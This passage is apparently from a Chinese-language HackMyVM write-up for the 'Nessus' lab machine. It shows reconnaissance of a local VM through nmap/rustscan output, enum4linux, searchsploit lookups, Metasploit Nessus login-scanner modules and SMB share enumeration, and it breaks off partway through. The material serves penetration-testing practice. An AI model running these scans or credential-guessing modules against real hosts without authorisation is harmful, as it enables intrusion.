src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep 08:00:27

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.107   08:00:27:ad:9a:f0       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.107 -- -A 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned my computer so many times, it thinks we&amp;#39;re dating.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.107:135
Open 192.168.0.107:139
Open 192.168.0.107:445
Open 192.168.0.107:5985
Open 192.168.0.107:8834
Open 192.168.0.107:47001
Open 192.168.0.107:49664
Open 192.168.0.107:49665
Open 192.168.0.107:49666
Open 192.168.0.107:49667
Open 192.168.0.107:49668
Open 192.168.0.107:49671
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.107
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-28 08:26 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
Initiating ARP Ping Scan at 08:26
Scanning 192.168.0.107 [1 port]
Completed ARP Ping Scan at 08:26, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:26
Completed Parallel DNS resolution of 1 host. at 08:26, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:26
Scanning 192.168.0.107 [12 ports]
Discovered open port 445/tcp on 192.168.0.107
Discovered open port 139/tcp on 192.168.0.107
Discovered open port 135/tcp on 192.168.0.107
Discovered open port 49667/tcp on 192.168.0.107
Discovered open port 49671/tcp on 192.168.0.107
Discovered open port 8834/tcp on 192.168.0.107
Discovered open port 49668/tcp on 192.168.0.107
Discovered open port 5985/tcp on 192.168.0.107
Discovered open port 49665/tcp on 192.168.0.107
Discovered open port 49666/tcp on 192.168.0.107
Discovered open port 49664/tcp on 192.168.0.107
Discovered open port 47001/tcp on 192.168.0.107
Completed SYN Stealth Scan at 08:26, 0.03s elapsed (12 total ports)
Initiating Service scan at 08:26
Scanning 12 services on 192.168.0.107
Service scan Timing: About 50.00% done; ETC: 08:27 (0:00:54 remaining)
Completed Service scan at 08:28, 137.41s elapsed (12 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.107
Retrying OS detection (try #2) against 192.168.0.107
NSE: Script scanning 192.168.0.107.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 5.50s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 1.34s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
Nmap scan report for 192.168.0.107
Host is up, received arp-response (0.00054s latency).
Scanned at 2026-01-28 08:26:08 EST for 147s

PORT      STATE SERVICE            REASON          VERSION
135/tcp   open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
139/tcp   open  netbios-ssn        syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?      syn-ack ttl 128
5985/tcp  open  http               syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8834/tcp  open  ssl/nessus-xmlrpc? syn-ack ttl 128
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Nessus Server
| Issuer: commonName=Nessus Certification Authority/organizationName=Nessus Users United/stateOrProvinceName=NY/countryName=US/localityName=New York/organizationalUnitName=Nessus Certification Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-18T17:36:17
| Not valid after:  2028-10-17T17:36:17
| MD5:   d62f:ddbd:0931:a519:cc87:4c9a:f7bf:6ff7
| SHA-1: 6bf2:207b:dc38:8181:aee2:03dc:0d3d:fa70:dd77:3af6
| -----BEGIN CERTIFICATE-----
| MIIEEjCCAvqgAwIBAgIDAJV2MA0GCSqGSIb3DQEBCwUAMIGdMRwwGgYDVQQKDBNO
| ZXNzdXMgVXNlcnMgVW5pdGVkMScwJQYDVQQLDB5OZXNzdXMgQ2VydGlmaWNhdGlv
| biBBdXRob3JpdHkxETAPBgNVBAcMCE5ldyBZb3JrMQswCQYDVQQGEwJVUzELMAkG
| A1UECAwCTlkxJzAlBgNVBAMMHk5lc3N1cyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0
| eTAeFw0yNDEwMTgxNzM2MTdaFw0yODEwMTcxNzM2MTdaMH0xHDAaBgNVBAoME05l
| c3N1cyBVc2VycyBVbml0ZWQxFjAUBgNVBAsMDU5lc3N1cyBTZXJ2ZXIxETAPBgNV
| BAcMCE5ldyBZb3JrMQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxGDAWBgNVBAMM
| D1dJTi1DMDVCT0NDN0YwSDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
| ANYkmLB3EVCbKrHOOzIfW5n/7WZBDBmW2lyg0kz185b10UyNDwiY5AgRwfC2WnaC
| oThJ0QVlVb22s6c1XbaWvyITj1K5xKe1D2uIJHl10EqBcfPq2BefeaXtVoh4jqZu
| VfafEpBwFSPC7dAnO4ZMghKBpWfogM3fYmavNdFptNASZqvTN7hskFETb4ARd397
| WC+fXe+AG4MYgrLyJuZCa+qnI4adkADCCTTtU644Pl8OloVnnK8L5S3wNsEzDXQi
| fvDyZKfo2WMh6BjgjN+X+Cxk4GtFsfX7QCiBr9nKakalE0Mq8nPO4Tm30Tm3GFN6
| looCoH+ZYXAfnUfd8KvHDE8CAwEAAaN6MHgwEQYJYIZIAYb4QgEBBAQDAgZAMA4G
| A1UdDwEB/wQEAwIF4DAdBgNVHQ4EFgQU5ZEiC8RiIg/FclNLopO/rxRBC80wHwYD
| VR0jBBgwFoAULRfLGNDUNuA90xpNsUsFyRiuDyQwEwYDVR0lBAwwCgYIKwYBBQUH
| AwEwDQYJKoZIhvcNAQELBQADggEBAAToblD5fSPM3tyk14/IK0cnDiHSuXFGxXhY
| il7tC177Tb+dNN9vRW58pA4tR+8eDeKUfM+MX6LpJPka4seGbeFjVDppwthlAf44
| ih37bwqAT7Kzznx59VMCjgyDqwe/qprQ9z4OOrD0wnkx4KycTLHmnjCj/rhyUN9+
| WYHPmdwjEiBs2kLGBIVX30+jiwwgd8+nsamEYTVIEB0FCtts3On13KGyS8gpypAr
| e7rQDFdkG+O/M9LKBF+xdcc4SCfEGXdKZnv1V8GVElsYxQ+BxpLjzrI/XLSvqqRm
| 9i8HnGnU8AOEa0rzzdUhzWMjpCj4aG861UAOoOQso5RbHLqNTgU=
|_-----END CERTIFICATE-----
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Cache-Control: must-revalidate
|     X-Frame-Options: DENY
|     Content-Type: text/html
|     ETag: 27393d29a7ce578108e0989bb8e5b05c
|     Connection: close
|     X-XSS-Protection: 1; mode=block
|     Server: NessusWWW
|     Date: Thu, 29 Jan 2026 05:26:39 GMT
|     X-Content-Type-Options: nosniff
|     Content-Length: 1217
|     Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action &amp;#39;self&amp;#39;; frame-ancestors &amp;#39;none&amp;#39;; frame-src https://store.tenable.com; default-src &amp;#39;self&amp;#39;; connect-src &amp;#39;self&amp;#39; www.tenable.com; script-src &amp;#39;self&amp;#39; www.tenable.com; img-src &amp;#39;self&amp;#39; data:; style-src &amp;#39;self&amp;#39; www.tenable.com; object-src &amp;#39;none&amp;#39;; base-uri &amp;#39;self&amp;#39;;
|     Strict-Transport-Security: max-age=31536000
|     Expect-CT: max-age=0
|     &amp;lt;!doctype html&amp;gt;
|     &amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge,chrome=1&amp;quot; /&amp;gt;
|_    &amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;upgrade-inse
47001/tcp open  http               syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
49665/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
49666/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
49667/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
49668/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
49671/tcp open  msrpc              syn-ack ttl 128 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8834-TCP:V=7.94SVN%T=SSL%I=7%D=1/28%Time=697A0E91%P=x86_64-pc-linux
SF:-gnu%r(GetRequest,788,&amp;quot;HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20must
SF:-revalidate\r\nX-Frame-Options:\x20DENY\r\nContent-Type:\x20text/html\r
SF:\nETag:\x2027393d29a7ce578108e0989bb8e5b05c\r\nConnection:\x20close\r\n
SF:X-XSS-Protection:\x201;\x20mode=block\r\nServer:\x20NessusWWW\r\nDate:\
SF:x20Thu,\x2029\x20Jan\x202026\x2005:26:39\x20GMT\r\nX-Content-Type-Optio
SF:ns:\x20nosniff\r\nContent-Length:\x201217\r\nContent-Security-Policy:\x
SF:20upgrade-insecure-requests;\x20block-all-mixed-content;\x20form-action
SF:\x20&amp;#39;self&amp;#39;;\x20frame-ancestors\x20&amp;#39;none&amp;#39;;\x20frame-src\x20https://store
SF:\.tenable\.com;\x20default-src\x20&amp;#39;self&amp;#39;;\x20connect-src\x20&amp;#39;self&amp;#39;\x20w
SF:ww\.tenable\.com;\x20script-src\x20&amp;#39;self&amp;#39;\x20www\.tenable\.com;\x20img-
SF:src\x20&amp;#39;self&amp;#39;\x20data:;\x20style-src\x20&amp;#39;self&amp;#39;\x20www\.tenable\.com;\x2
SF:0object-src\x20&amp;#39;none&amp;#39;;\x20base-uri\x20&amp;#39;self&amp;#39;;\r\nStrict-Transport-Secur
SF:ity:\x20max-age=31536000\r\nExpect-CT:\x20max-age=0\r\n\r\n&amp;lt;!doctype\x2
SF:0html&amp;gt;\n&amp;lt;html\x20lang=\&amp;quot;en\&amp;quot;&amp;gt;\n\x20\x20\x20\x20&amp;lt;head&amp;gt;\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20&amp;lt;meta\x20http-equiv=\&amp;quot;X-UA-Compatible\&amp;quot;\x20content=\&amp;quot;IE
SF:=edge,chrome=1\&amp;quot;\x20/&amp;gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&amp;lt;meta\x20http-e
SF:quiv=\&amp;quot;Content-Security-Policy\&amp;quot;\x20content=\&amp;quot;upgrade-inse&amp;quot;);
MAC Address: 08:00:27:AD:9A:F0 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|2016|2022|2012|7|8.1|2019|Longhorn|Vista|2008 (97%)
OS CPE: cpe:/o:microsoft:windows_10:1703 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_7:::ultimate cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 10 1703 (97%), Microsoft Windows Server 2016 build 10586 - 14393 (97%), Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2022 (94%), Microsoft Windows 10 1507 - 1607 (94%), Microsoft Windows Server 2012 R2 Update 1 (94%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (94%), Microsoft Windows 10 1511 (94%), Microsoft Windows Server 2012 or Server 2012 R2 (94%), Microsoft Windows Server 2019 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=1/28%OT=135%CT=%CU=43934%PV=Y%DS=1%DC=D%G=N%M=080027%TM=697A0F03%P=x86_64-pc-linux-gnu)
SEQ(SP=106%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=A)
OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5B4NW8ST11%O6=M5B4ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.004 days (since Wed Jan 28 08:23:15 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat: NetBIOS name: NESSUS, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:ad:9a:f0 (Oracle VirtualBox virtual NIC)
| Names:
|   NESSUS&amp;lt;00&amp;gt;           Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   NESSUS&amp;lt;20&amp;gt;           Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;
|   WORKGROUP&amp;lt;00&amp;gt;        Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;
| Statistics:
|   08:00:27:ad:9a:f0:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50829/tcp): CLEAN (Couldn&amp;#39;t connect)
|   Check 2 (port 39541/tcp): CLEAN (Couldn&amp;#39;t connect)
|   Check 3 (port 64559/udp): CLEAN (Timeout)
|   Check 4 (port 18253/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -1s
| smb2-time: 
|   date: 2026-01-28T13:28:28
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms 192.168.0.107

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.99 seconds
           Raw packets sent: 45 (3.392KB) | Rcvd: 45 (3.216KB)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;135/tcp   open  msrpc              syn-ack ttl 128 Microsoft Windows RPC&lt;/p&gt;
&lt;p&gt;139/tcp   open  netbios-ssn        syn-ack ttl 128 Microsoft Windows netbios-ssn&lt;/p&gt;
&lt;p&gt;445/tcp   open  microsoft-ds?      syn-ack ttl 128   &lt;/p&gt;
&lt;p&gt;5985/tcp  open  http               syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;/p&gt;
&lt;p&gt;8834/tcp  open  ssl/nessus-xmlrpc? syn-ack ttl 128&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看到445就想SMB  135就想RPC  5985 winrm(远程管理)&lt;/p&gt;
&lt;p&gt;139为 NetBIOS-老 SMB  &lt;/p&gt;
&lt;p&gt;8834/tcp open ssl/nessus-xmlrpc   Server: NessusWWW  CN=WIN-C05BOCC7F0H&lt;/p&gt;
&lt;p&gt; ✔️ &lt;strong&gt;这台机正在运行 Nessus 扫描服务&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# enum4linux -a 192.168.0.107
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jan 28 08:37:56 2026

 =========================================( Target Information )=========================================       
                                                        
Target ........... 192.168.0.107                        
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.0.107 )===========================        
                                                        
                                                        
[+] Got domain/workgroup name: WORKGROUP                
                                                        
                                                        
 ===============================( Nbtstat Information for 192.168.0.107 )===============================        
                                                        
Looking up status of 192.168.0.107                      
        NESSUS          &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        NESSUS          &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name

        MAC Address = 08-00-27-AD-9A-F0

 ===================================( Session Check on 192.168.0.107 )===================================       
                                                        
                                                        
[E] Server doesn&amp;#39;t allow session using username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;.  Aborting remainder of tests.  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nessus&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://192.168.0.107:8834/&quot;&gt;https://192.168.0.107:8834&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# searchsploit -t nessus
---------------------- ---------------------------------
 Exploit Title        |  Path
---------------------- ---------------------------------
Nessus 2.0.x - LibNAS | multiple/dos/22634.txt
Nessus 8.2.1 - Cross- | multiple/webapps/46315.txt
Nessus Vulnerability  | windows/remote/4230.html
Nessus Vulnerability  | windows/remote/4237.html
Nessus Web UI 2.3.3 - | multiple/webapps/34929.txt
---------------------- ---------------------------------
Shellcodes: No Results
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不知道是哪个，逐个尝试&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# searchsploit -p 34929
  Exploit: Nessus Web UI 2.3.3 - Persistent Cross-Site Scripting
      URL: https://www.exploit-db.com/exploits/34929
     Path: /usr/share/exploitdb/exploits/multiple/webapps/34929.txt
    Codes: CVE-2014-7280, OSVDB-112728
 Verified: True
File Type: Python script, ASCII text executable, with very long lines (335)
//这是个xss就算了吧
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# searchsploit -p 22634
  Exploit: Nessus 2.0.x - LibNASL Arbitrary Code Execution
      URL: https://www.exploit-db.com/exploits/22634
     Path: /usr/share/exploitdb/exploits/multiple/dos/22634.txt
    Codes: CVE-2003-0372, OSVDB-3190
 Verified: True
File Type: ASCII text
//这个太老了不用看
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个都看了一遍发现没啥能用的&lt;/p&gt;
&lt;p&gt;上msf试试呢？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;msf6 &amp;gt; set TARGET &amp;#39;Windows&amp;#39;
TARGET =&amp;gt; Windows
msf6 &amp;gt; search nessus

Matching Modules
================

   #   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   exploit/windows/http/altn_webadmin             2003-06-24       average    No     Alt-N WebAdmin USER Buffer Overflow
   1     \_ target: Automatic                         .                .          .      .
   2     \_ target: WebAdmin 2.0.4 Universal          .                .          .      .
   3     \_ target: WebAdmin 2.0.3 Universal          .                .          .      .
   4     \_ target: WebAdmin 2.0.2 Universal          .                .          .      .
   5     \_ target: WebAdmin 2.0.1 Universal          .                .          .      .
   6   exploit/unix/webapp/barracuda_img_exec         2005-09-01       excellent  Yes    Barracuda IMG.PL Remote Command Execution
   7   auxiliary/admin/dns/dyn_dns_update             .                normal     No     DNS Server Dynamic Update Record Injection
   8     \_ action: ADD                               .                .          .      Add a new record. Fail if it already exists.
   9     \_ action: DELETE                            .                .          .      Delete an existing record.
   10    \_ action: UPDATE                            .                .          .      Add or update a record. (default)
   11  exploit/windows/smb/ms10_061_spoolss           2010-09-14       excellent  No     MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability
   12  exploit/windows/http/mailenable_auth_header    2005-04-24       great      Yes    MailEnable Authorization Header Buffer Overflow
   13  exploit/windows/imap/mailenable_status         2005-07-13       great      No     MailEnable IMAPD (1.54) STATUS Request Buffer Overflow
   14    \_ target: MailEnable 1.54 Pro Universal     .                .          .      .
   15    \_ target: Windows XP Pro SP0/SP1 English    .                .          .      .
   16    \_ target: Windows 2000 Pro English ALL      .                .          .      .
   17    \_ target: Windows 2003 Server English       .                .          .      .
   18  exploit/windows/imap/mercury_rename            2004-11-29       average    Yes    Mercury/32 v4.01a IMAP RENAME Buffer Overflow
   19    \_ target: Automatic                         .                .          .      .
   20    \_ target: Windows 2000 SP4 English          .                .          .      .
   21    \_ target: Windows XP Pro SP0 English        .                .          .      .
   22    \_ target: Windows XP Pro SP1 English        .                .          .      .
   23  auxiliary/scanner/nessus/nessus_ntp_login      .                normal     No     Nessus NTP Login Utility
   24  auxiliary/scanner/nessus/nessus_rest_login     .                normal     No     Nessus RPC Interface Login Utility
   25  auxiliary/scanner/nessus/nessus_xmlrpc_login   .                normal     No     Nessus XMLRPC Interface Login Utility
   26  auxiliary/scanner/nessus/nessus_xmlrpc_ping    .                normal     No     Nessus XMLRPC Interface Ping Utility
   27  exploit/multi/misc/teamcity_agent_xmlrpc_exec  2015-04-14       excellent  Yes    TeamCity Agent XML-RPC Command Execution
   28    \_ target: Windows                           .                .          .      .
   29    \_ target: Linux                             .                .          .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/multi/misc/teamcity_agent_xmlrpc_exec                                               
After interacting with a module you can manually set a TARGET with set TARGET &amp;#39;Linux&amp;#39;

msf6 auxiliary(scanner/nessus/nessus_xmlrpc_login) &amp;gt; show options 

Module options (auxiliary/scanner/nessus/nessus_xmlrpc_login):

   Name         Current Sett  Required  Description
                ing
   ----         ------------  --------  -----------
   ANONYMOUS_L  false         yes       Attempt to login
   OGIN                                  with a blank us
                                        ername and passw
                                        ord
   BLANK_PASSW  false         no        Try blank passwo
   ORDS                                 rds for all user
                                        s
   BRUTEFORCE_  5             yes       How fast to brut
   SPEED                                eforce, from 0 t
                                        o 5
   DB_ALL_CRED  false         no        Try each user/pa
   S                                    ssword couple st
                                        ored in the curr
                                        ent database
   DB_ALL_PASS  false         no        Add all password
                                        s in the current
                                         database to the
                                         list
   DB_ALL_USER  false         no        Add all users in
   S                                     the current dat
                                        abase to the lis
                                        t
   DB_SKIP_EXI  none          no        Skip existing cr
   STING                                edentials stored
                                         in the current
                                        database (Accept
                                        ed: none, user,
                                        user&amp;amp;realm)
   PASSWORD                   no        A specific passw
                                        ord to authentic
                                        ate with
   PASS_FILE                  no        File containing
                                        passwords, one p
                                        er line
   Proxies                    no        A proxy chain of
                                         format type:hos
                                        t:port[,type:hos
                                        t:port][...]. Su
                                        pported proxies:
                                         socks5, socks5h
                                        , http, sapni, s
                                        ocks4
   RHOSTS                     yes       The target host(
                                        s), see https://
                                        docs.metasploit.
                                        com/docs/using-m
                                        etasploit/basics
                                        /using-metasploi
                                        t.html
   RPORT        8834          yes       The target port
                                        (TCP)
   SSL          true          no        Negotiate SSL/TL
                                        S for outgoing c
                                        onnections
   STOP_ON_SUC  false         yes       Stop guessing wh
   CESS                                 en a credential
                                        works for a host
   THREADS      1             yes       The number of co
                                        ncurrent threads
                                         (max one per ho
                                        st)
   URI          /login        yes       URI for Nessus X
                                        MLRPC login. Def
                                        ault is /login
   USERNAME                   no        A specific usern
                                        ame to authentic
                                        ate as
   USERPASS_FI                no        File containing
   LE                                   users and passwo
                                        rds separated by
                                         space, one pair
                                         per line
   USER_AS_PAS  false         no        Try the username
   S                                     as the password
                                         for all users
   USER_FILE                  no        File containing
                                        usernames, one p
                                        er line
   VERBOSE      true          yes       Whether to print
                                         output for all
                                        attempts
   VHOST                      no        HTTP server virt
                                        ual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/nessus/nessus_xmlrpc_login) &amp;gt; set RHOSTS 192.168.0.107
RHOSTS =&amp;gt; 192.168.0.107
msf6 auxiliary(scanner/nessus/nessus_xmlrpc_login) &amp;gt; run
[-] 192.168.0.107:8834 - Authorization not requested
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/nessus/nessus_rest_login) &amp;gt; set RHOSTS 192.168.0.107
RHOSTS =&amp;gt; 192.168.0.107
msf6 auxiliary(scanner/nessus/nessus_rest_login) &amp;gt; run
[*] Error: 192.168.0.107: Metasploit::Framework::LoginScanner::Invalid Cred details can&amp;#39;t be blank, Cred details can&amp;#39;t be blank (Metasploit::Framework::LoginScanner::Nessus)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;算了不玩了都是scan模块&lt;/p&gt;
&lt;h2&gt;wireshark&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;smb枚举&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# smbclient -L //192.168.0.107 -N


        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Documents       Disk      
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.0.107 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
                                                          
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec smb 192.168.0.107

SMB         192.168.0.107   445    NESSUS           [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;ADMIN$     → 远程管理共享（默认）&lt;/p&gt;
